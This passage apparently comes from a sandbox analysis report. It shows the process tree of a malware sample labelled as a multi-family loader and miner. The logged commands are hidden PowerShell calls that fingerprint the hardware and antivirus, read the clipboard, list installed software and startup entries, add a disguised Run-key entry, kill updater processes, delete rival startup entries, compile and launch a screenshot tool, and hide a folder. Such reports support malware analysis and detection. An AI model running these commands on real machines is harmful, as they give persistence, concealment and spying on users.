    "C:\Windows\system32\cmd.exe" /c "wmic cpu get Name /format:csv"
    3⤵
    PID:1508
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get Name /format:csv
      4⤵
      PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"
  2⤵
  PID:4624
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"
    3⤵
    PID:1340
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get Name /format:csv
      4⤵
      Detects videocard installed
      PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance Win32_VideoController | ForEach-Object { $_.Name + ': ' + [math]::Round($_.AdapterRAM/1GB,1) + ' GB' }"
  2⤵
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance Win32_BaseBoard | Select-Object Manufacturer,Product,Version | ForEach-Object { $_.Manufacturer + ' ' + $_.Product + ' (' + $_.Version + ')' }"
  2⤵
  PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance Win32_BIOS | Select-Object Manufacturer,SMBIOSBIOSVersion,ReleaseDate | ForEach-Object { $_.Manufacturer + ' ' + $_.SMBIOSBIOSVersion }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime | Select-Object -ExpandProperty TotalHours"
  2⤵
  PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdateCache" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe|1784277467556" /f 2>nul'"
  2⤵
  PID:5340
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5392
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateCache /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe|1784277467556 /f 2>nul"
    3⤵
    PID:4768
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateCache /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
      4⤵
      Modifies registry key
      PID:4732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width.ToString() + 'x' + [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height.ToString()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'taskkill /f /im jusched.exe 2>nul'"
  2⤵
  PID:4868
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "taskkill /f /im jusched.exe 2>nul"
    3⤵
    PID:4996
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im jusched.exe
      4⤵
      Kills process with taskkill
      PID:5812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'taskkill /f /im jucheck.exe 2>nul'"
  2⤵
  PID:4472
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "taskkill /f /im jucheck.exe 2>nul"
    3⤵
    PID:4632
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im jucheck.exe
      4⤵
      Kills process with taskkill
      PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'csc /nologo /out:"C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe" /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe "C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.cs"'"
  2⤵
  PID:5640
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "csc /nologo /out:C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.cs"
    3⤵
    PID:5504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c '"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /out:"C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe" /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe "C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.cs"'"
  2⤵
  PID:4596
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /out:C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.cs"
    3⤵
    PID:5924
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /out:C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.cs
      4⤵
      PID:4704
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES813C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCACD84FD0A71429C95F5DAEEAA831A2.TMP"
        5⤵
        
        PID:1236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdate" /f 2>nul'"
  2⤵
  PID:1348
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdate /f 2>nul"
    3⤵
    PID:1128
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdate /f
      4⤵
      Modifies registry key
      PID:5172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f 2>nul'"
  2⤵
  PID:4680
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f 2>nul"
    3⤵
    PID:3932
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f
      4⤵
      Modifies registry key
      PID:1520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c '"C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe" "C:\Users\Admin\AppData\Local\Temp\\scr_1784277468620.jpg"'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1144
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe C:\Users\Admin\AppData\Local\Temp\\scr_1784277468620.jpg"
    3⤵
    PID:5008
  - - C:\Users\Admin\AppData\Local\Temp\s_1784277468620.exe
      C:\Users\Admin\AppData\Local\Temp\\s_1784277468620.exe C:\Users\Admin\AppData\Local\Temp\\scr_1784277468620.jpg
      4⤵
      Executes dropped EXE
      PID:4492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "OneDriveUpdater" /f 2>nul'"
  2⤵
  PID:3504
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /f 2>nul"
    3⤵
    PID:6076
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /f
      4⤵
      Modifies registry key
      PID:5092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdater" /f 2>nul'"
  2⤵
  PID:3660
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDriveUpdater /f 2>nul"
    3⤵
    PID:3616
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDriveUpdater /f
      4⤵
      Modifies registry key
      PID:5520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command Get-Clipboard
  2⤵
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "jusched" /f 2>nul'"
  2⤵
  PID:3224
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jusched /f 2>nul"
    3⤵
    PID:5812
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jusched /f
      4⤵
      Modifies registry key
      PID:624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand RwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEAAKAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFUAbgBpAG4AcwB0AGEAbABsAFwAKgAnACwAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABXAE8AVwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABVAG4AaQBuAHMAdABhAGwAbABcACoAJwAsACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAVQBuAGkAbgBzAHQAYQBsAGwAXAAqACcAKQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAJABfAC4ARABpAHMAcABsAGEAeQBOAGEAbQBlAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQAsAEQAaQBzAHAAbABhAHkAVgBlAHIAcwBpAG8AbgAsAFAAdQBiAGwAaQBzAGgAZQByACwASQBuAHMAdABhAGwAbABEAGEAdABlACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJwB7ADAAfQAgAHwAIAB7ADEAfQAgAHwAIAB7ADIAfQAgAHwAIAB7ADMAfQAnACAALQBmACAAJABfAC4ARABpAHMAcABsAGEAeQBOAGEAbQBlACwAJABfAC4ARABpAHMAcABsAGEAeQBWAGUAcgBzAGkAbwBuACwAJABfAC4AUAB1AGIAbABpAHMAaABlAHIALAAkAF8ALgBJAG4AcwB0AGEAbABsAEQAYQB0AGUAIAB9AA==
  2⤵
  PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jusched" /f 2>nul'"
  2⤵
  PID:1560
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jusched /f 2>nul"
    3⤵
    PID:2588
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jusched /f
      4⤵
      Modifies registry key
      PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBTAHQAYQByAHQAdQBwAEMAbwBtAG0AYQBuAGQAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAE4AYQBtAGUALABDAG8AbQBtAGEAbgBkACwATABvAGMAYQB0AGkAbwBuACwAVQBzAGUAcgAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJwB7ADAAfQAgAHwAIAB7ADEAfQAgAHwAIAB7ADIAfQAgAHwAIAB7ADMAfQAnACAALQBmACAAJABfAC4ATgBhAG0AZQAsACQAXwAuAEMAbwBtAG0AYQBuAGQALAAkAF8ALgBMAG8AYwBhAHQAaQBvAG4ALAAkAF8ALgBVAHMAZQByACAAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "jucheck" /f 2>nul'"
  2⤵
  PID:2604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jucheck /f 2>nul"
    3⤵
    PID:904
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jucheck /f
      4⤵
      Modifies registry key
      PID:5348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jucheck" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4380
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck /f 2>nul"
    3⤵
    PID:796
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck /f
      4⤵
      Modifies registry key
      PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /V /FO CSV'"
  2⤵
  PID:4956
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "tasklist /V /FO CSV"
    3⤵
    PID:1772
  - - C:\Windows\system32\tasklist.exe
      tasklist /V /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "svchost" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:712
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v svchost /f 2>nul"
    3⤵
    PID:2080
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v svchost /f
      4⤵
      Modifies registry key
      PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /f 2>nul'"
  2⤵
  PID:4676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /f 2>nul"
    3⤵
    PID:2104
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /f
      4⤵
      Modifies registry key
      PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchProtocolHost" /f 2>nul'"
  2⤵
  PID:5708
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocolHost /f 2>nul"
    3⤵
    PID:4856
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocolHost /f
      4⤵
      Modifies registry key
      PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SearchProtocolHost" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1448
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SearchProtocolHost /f 2>nul"
    3⤵
    PID:3780
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SearchProtocolHost /f
      4⤵
      Modifies registry key
      PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "RuntimeBroker" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5608
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /f 2>nul"
    3⤵
    PID:624
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /f
      4⤵
      Modifies registry key
      PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "RuntimeBroker" /f 2>nul'"
  2⤵
  PID:3936
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /f 2>nul"
    3⤵
    PID:5684
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /f
      4⤵
      Modifies registry key
      PID:5588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:1464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SecurityHealthSvc" /f 2>nul'"
  2⤵
  PID:1784
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /f 2>nul"
    3⤵
    PID:5552
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /f
      4⤵
      Modifies registry key
      PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealthSvc" /f 2>nul'"
  2⤵
  PID:5420
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthSvc /f 2>nul"
    3⤵
    PID:2980
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthSvc /f
      4⤵
      Modifies registry key
      PID:5752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WinUpdateAgent" /f 2>nul'"
  2⤵
  PID:5184
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WinUpdateAgent /f 2>nul"
    3⤵
    PID:4396
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WinUpdateAgent /f
      4⤵
      PID:3824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateAgent" /f 2>nul'"
  2⤵
  PID:1116
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdateAgent /f 2>nul"
    3⤵
    PID:2732
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdateAgent /f
      4⤵
      PID:1504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WLANAutoConfig" /f 2>nul'"
  2⤵
  PID:3588
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /f 2>nul"
    3⤵
    PID:3208
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /f
      4⤵
      Modifies registry key
      PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WLANAutoConfig" /f 2>nul'"
  2⤵
  PID:1376
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WLANAutoConfig /f 2>nul"
    3⤵
    PID:2340
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WLANAutoConfig /f
      4⤵
      Modifies registry key
      PID:1052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeUpdate" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1556
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /f 2>nul"
    3⤵
    PID:4736
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /f
      4⤵
      Modifies registry key
      PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MsEdgeUpdate" /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2780
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MsEdgeUpdate /f 2>nul"
    3⤵
    PID:2744
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MsEdgeUpdate /f
      4⤵
      Modifies registry key
      PID:5584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate" 2>nul'"
  2⤵
  PID:5676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5240
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate
      4⤵
      Views/modifies file attributes
      PID:3196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
